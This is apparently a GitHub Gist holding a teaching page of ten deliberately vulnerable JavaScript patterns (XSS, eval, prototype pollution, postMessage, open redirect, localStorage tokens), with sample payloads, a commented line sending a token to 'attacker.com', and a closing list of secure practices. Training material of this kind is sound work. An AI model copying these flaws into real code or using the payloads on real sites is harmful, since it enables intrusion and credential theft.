Last active
May 9, 2026 17:37
-
-
Save ayadim/10b57d9c93227045a0edcc32766f3e5f to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Vulnerable JS Demo - Security Research Only</title> | |
| <style> | |
| body { font-family: monospace; padding: 20px; background: #1a1a2e; color: #eee; } | |
| .vuln { border: 1px solid #e94560; padding: 15px; margin: 10px 0; background: #16213e; border-radius: 5px; } | |
| .vuln h3 { color: #e94560; margin-top: 0; } | |
| input, button { padding: 8px; margin: 5px 0; background: #0f3460; color: white; border: 1px solid #e94560; } | |
| button:hover { background: #e94560; cursor: pointer; } | |
| #output { background: #0f0f23; padding: 10px; border-radius: 3px; min-height: 30px; } | |
| code { background: #0f0f23; padding: 2px 6px; border-radius: 3px; color: #00d9ff; } | |
| </style> | |
| </head> | |
| <body> | |
| <h1>🔐 Vulnerable JavaScript Demo</h1> | |
| <p><em>For authorized security testing only. All vulnerabilities are intentional.</em></p> | |
| <!-- VULN 1: Reflected XSS via URL Parameter --> | |
| <div class="vuln"> | |
| <h3>1️⃣ Reflected XSS (URL Parameter)</h3> | |
| <p>Try: <code>?name=<script>alert(document.cookie)</script></code></p> | |
| <div id="xss-reflected"></div> | |
| <script> | |
| // VULNERABLE: Direct insertion of URL param into DOM without sanitization | |
| const params = new URLSearchParams(window.location.search); | |
| const name = params.get('name'); | |
| if (name) { | |
| document.getElementById('xss-reflected').innerHTML = 'Hello, ' + name; // ❌ XSS sink | |
| } | |
| </script> | |
| </div> | |
| <!-- VULN 2: DOM-based XSS via innerHTML --> | |
| <div class="vuln"> | |
| <h3>2️⃣ DOM-based XSS (Search Box)</h3> | |
| <input type="text" id="searchInput" placeholder="Search..."> | |
| <button onclick="doSearch()">Search</button> | |
| <div id="searchResults"></div> | |
| <script> | |
| // VULNERABLE: User input directly injected via innerHTML | |
| function doSearch() { | |
| const query = document.getElementById('searchInput').value; | |
| // ❌ Dangerous: innerHTML with unsanitized input | |
| document.getElementById('searchResults').innerHTML = | |
| '<p>Results for: <strong>' + query + '</strong></p>'; | |
| } | |
| // Also vulnerable via hash fragment: #search=<script>alert(1)</script> | |
| if (window.location.hash.includes('search=')) { | |
| const hashQuery = decodeURIComponent(window.location.hash.split('search=')[1]); | |
| document.getElementById('searchResults').innerHTML = | |
| '<p>Results for: <strong>' + hashQuery + '</strong></p>'; // ❌ XSS | |
| } | |
| </script> | |
| </div> | |
| <!-- VULN 3: Insecure localStorage Auth Bypass --> | |
| <div class="vuln"> | |
| <h3>3️⃣ Client-Side Auth Bypass (localStorage)</h3> | |
| <button id="loginBtn">Login as Admin</button> | |
| <button id="checkAuth">Check Auth Status</button> | |
| <div id="authStatus">Not authenticated</div> | |
| <script> | |
| // VULNERABLE: Authentication state stored client-side only | |
| document.getElementById('loginBtn').onclick = function() { | |
| // ❌ Never trust client-side auth flags | |
| localStorage.setItem('isAdmin', 'true'); | |
| localStorage.setItem('user', 'admin'); | |
| document.getElementById('authStatus').innerHTML = | |
| '✅ Logged in as <strong>admin</strong> (client-side only!)'; | |
| }; | |
| document.getElementById('checkAuth').onclick = function() { | |
| // ❌ Reading auth state from localStorage without server validation | |
| if (localStorage.getItem('isAdmin') === 'true') { | |
| document.getElementById('authStatus').innerHTML = | |
| '🔑 Admin access granted (token: ' + (localStorage.getItem('token') || 'none') + ')'; | |
| } | |
| }; | |
| // Auto-load "auth" from localStorage on page load | |
| if (localStorage.getItem('isAdmin') === 'true') { | |
| document.getElementById('authStatus').innerHTML = | |
| '⚠️ Persisted admin session found in localStorage'; | |
| } | |
| </script> | |
| </div> | |
| <!-- VULN 4: postMessage Origin Validation Bypass --> | |
| <div class="vuln"> | |
| <h3>4️⃣ postMessage Origin Bypass</h3> | |
| <p>Open browser console and run:<br> | |
| <code>iframe.contentWindow.postMessage('{"action":"admin","cmd":"deleteAll"}', '*')</code></p> | |
| <iframe id="targetFrame" srcdoc="<h3>Target Frame</h3><div id='frameOutput'>Waiting for message...</div>" | |
| style="width:100%; height:80px; background:#0f0f23; border:1px solid #e94560;"></iframe> | |
| <script> | |
| const iframe = document.getElementById('targetFrame'); | |
| // VULNERABLE: Listening to postMessage without origin check | |
| window.addEventListener('message', function(event) { | |
| // ❌ Missing: if (event.origin !== 'https://trusted-domain.com') return; | |
| try { | |
| const data = JSON.parse(event.data); | |
| if (data.action === 'admin') { | |
| // ❌ Executing commands from untrusted source | |
| document.getElementById('frameOutput').innerHTML = | |
| '⚠️ Executed: ' + data.cmd + ' (from origin: ' + event.origin + ')'; | |
| // In real app: could trigger API calls, DOM changes, etc. | |
| } | |
| } catch(e) { | |
| document.getElementById('frameOutput').innerHTML = 'Error parsing message'; | |
| } | |
| }, false); | |
| </script> | |
| </div> | |
| <!-- VULN 5: eval() with User Input --> | |
| <div class="vuln"> | |
| <h3>5️⃣ eval() Code Execution</h3> | |
| <input type="text" id="calcInput" placeholder="Enter JS expression: 2+2"> | |
| <button onclick="calculate()">Calculate</button> | |
| <div id="calcResult"></div> | |
| <script> | |
| // VULNERABLE: eval() with user input | |
| function calculate() { | |
| const expr = document.getElementById('calcInput').value; | |
| try { | |
| // ❌ DANGEROUS: eval executes arbitrary JS | |
| const result = eval(expr); // Try: alert(document.domain) | |
| document.getElementById('calcResult').innerHTML = 'Result: ' + result; | |
| } catch(e) { | |
| document.getElementById('calcResult').innerHTML = 'Error: ' + e.message; | |
| } | |
| } | |
| </script> | |
| </div> | |
| <!-- VULN 6: Prototype Pollution --> | |
| <div class="vuln"> | |
| <h3>6️⃣ Prototype Pollution</h3> | |
| <button onclick="pollute()">Pollute Prototype</button> | |
| <button onclick="checkPollution()">Check Pollution</button> | |
| <div id="protoOutput"></div> | |
| <script> | |
| // VULNERABLE: Unsafe object merge allowing __proto__ injection | |
| function merge(target, source) { | |
| for (let key in source) { | |
| // ❌ No protection against __proto__ or constructor | |
| if (key in source) { | |
| if (source[key] && typeof source[key] === 'object') { | |
| target[key] = target[key] || {}; | |
| merge(target[key], source[key]); | |
| } else { | |
| target[key] = source[key]; // ❌ Pollution sink | |
| } | |
| } | |
| } | |
| return target; | |
| } | |
| function pollute() { | |
| // Inject malicious property into Object.prototype | |
| merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}')); | |
| document.getElementById('protoOutput').innerHTML = '⚠️ Prototype polluted!'; | |
| } | |
| function checkPollution() { | |
| const testObj = {}; | |
| // ❌ Inherited polluted property | |
| if (testObj.isAdmin === true) { | |
| document.getElementById('protoOutput').innerHTML = | |
| '🔑 Pollution confirmed: testObj.isAdmin = ' + testObj.isAdmin; | |
| } else { | |
| document.getElementById('protoOutput').innerHTML = 'No pollution detected'; | |
| } | |
| } | |
| </script> | |
| </div> | |
| <!-- VULN 7: Insecure JSONP Callback --> | |
| <div class="vuln"> | |
| <h3>7️⃣ JSONP Callback Injection</h3> | |
| <p>Try callback: <code>callback=alert(document.domain)</code></p> | |
| <button onclick="loadJSONP()">Load Data via JSONP</button> | |
| <div id="jsonpOutput"></div> | |
| <script> | |
| // VULNERABLE: JSONP with unsanitized callback parameter | |
| function loadJSONP() { | |
| const callback = 'handleData'; // In real app: from URL param | |
| const script = document.createElement('script'); | |
| // ❌ Callback not validated - could be arbitrary JS | |
| script.src = 'https://api.example.com/data?callback=' + callback; | |
| document.body.appendChild(script); | |
| } | |
| // Global callback function (JSONP requirement) | |
| window.handleData = function(data) { | |
| // ❌ Data from untrusted source inserted into DOM | |
| document.getElementById('jsonpOutput').innerHTML = | |
| 'Received: ' + JSON.stringify(data); | |
| }; | |
| </script> | |
| </div> | |
| <!-- VULN 8: Insecure jQuery Selector (Selector Injection) --> | |
| <div class="vuln"> | |
| <h3>8️⃣ jQuery Selector Injection</h3> | |
| <input type="text" id="userId" placeholder="User ID: admin"> | |
| <button onclick="loadUser()">Load User</button> | |
| <div id="userProfile"></div> | |
| <script> | |
| // Assuming jQuery is loaded (for demo purposes) | |
| function loadUser() { | |
| const userId = document.getElementById('userId').value; | |
| // ❌ User input directly in jQuery selector | |
| // Try: userId=']; alert('XSS'); $(' | |
| const userElement = $(`[data-user-id="${userId}"]`); // Selector injection | |
| // In real app: could manipulate DOM, exfiltrate data, etc. | |
| document.getElementById('userProfile').innerHTML = | |
| 'Selected elements: ' + (userElement.length || 0); | |
| } | |
| </script> | |
| </div> | |
| <!-- VULN 9: localStorage Session Token Exposure --> | |
| <div class="vuln"> | |
| <h3>9️⃣ Sensitive Data in localStorage</h3> | |
| <button onclick="storeToken()">Store "Secret" Token</button> | |
| <button onclick="exposeToken()">Read Token (XSS Payload)</button> | |
| <div id="tokenOutput"></div> | |
| <script> | |
| function storeToken() { | |
| // ❌ Storing sensitive tokens in localStorage (accessible to any JS) | |
| localStorage.setItem('auth_token', 'sk_live_abc123xyz789'); | |
| localStorage.setItem('user_pii', JSON.stringify({ | |
| email: 'admin@johndeerecloud.com', | |
| ssn: '123-45-6789' | |
| })); | |
| document.getElementById('tokenOutput').innerHTML = '✅ Token stored (insecurely)'; | |
| } | |
| function exposeToken() { | |
| // Any XSS payload can read these values | |
| const token = localStorage.getItem('auth_token'); | |
| const pii = localStorage.getItem('user_pii'); | |
| document.getElementById('tokenOutput').innerHTML = | |
| '<pre>Token: ' + token + '\nPII: ' + pii + '</pre>'; | |
| // In real attack: exfiltrate to attacker server | |
| // fetch('https://attacker.com/steal?token=' + token); | |
| } | |
| </script> | |
| </div> | |
| <!-- VULN 10: Insecure URL Redirect --> | |
| <div class="vuln"> | |
| <h3>🔟 Open Redirect via URL Parameter</h3> | |
| <p>Try: <code>?redirect=https://evil.com/phishing</code></p> | |
| <button onclick="doRedirect()">Redirect</button> | |
| <div id="redirectPreview"></div> | |
| <script> | |
| function doRedirect() { | |
| const params = new URLSearchParams(window.location.search); | |
| const redirectUrl = params.get('redirect') || '/dashboard'; | |
| // ❌ No validation of redirect URL | |
| document.getElementById('redirectPreview').innerHTML = | |
| 'Would redirect to: <strong>' + redirectUrl + '</strong>'; | |
| // In real app: window.location = redirectUrl; // Open redirect | |
| } | |
| // Auto-preview redirect on load | |
| document.addEventListener('DOMContentLoaded', doRedirect); | |
| </script> | |
| </div> | |
| <hr> | |
| <footer> | |
| <p><strong>⚠️ Security Notes:</strong></p> | |
| <ul> | |
| <li>Never use <code>innerHTML</code>, <code>eval()</code>, or <code>document.write()</code> with user input</li> | |
| <li>Always validate <code>postMessage</code> origins</li> | |
| <li>Store auth tokens in <code>httpOnly</code> cookies, not localStorage</li> | |
| <li>Sanitize all data before DOM insertion (use <code>textContent</code> or DOMPurify)</li> | |
| <li>Implement CSP headers to mitigate XSS</li> | |
| <li>Never trust client-side authentication checks</li> | |
| </ul> | |
| <p><em>Generated for authorized security research • Do not deploy to production</em></p> | |
| </footer> | |
| <script> | |
| // Global "vulnerability detector" for demo purposes | |
| console.log('🔍 Vulnerable JS Demo Loaded'); | |
| console.log('💡 Tip: Check browser DevTools → Console for additional debug info'); | |
| // Simulate "debug mode" that leaks info (common in dev builds) | |
| if (window.location.search.includes('debug=true')) { | |
| console.warn('⚠️ DEBUG MODE ENABLED'); | |
| console.log('API Keys:', { stripe: 'pk_test_...', aws: 'AKIA...' }); | |
| console.log('Internal Endpoints:', ['/api/internal/admin', '/debug/console']); | |
| } | |
| </script> | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment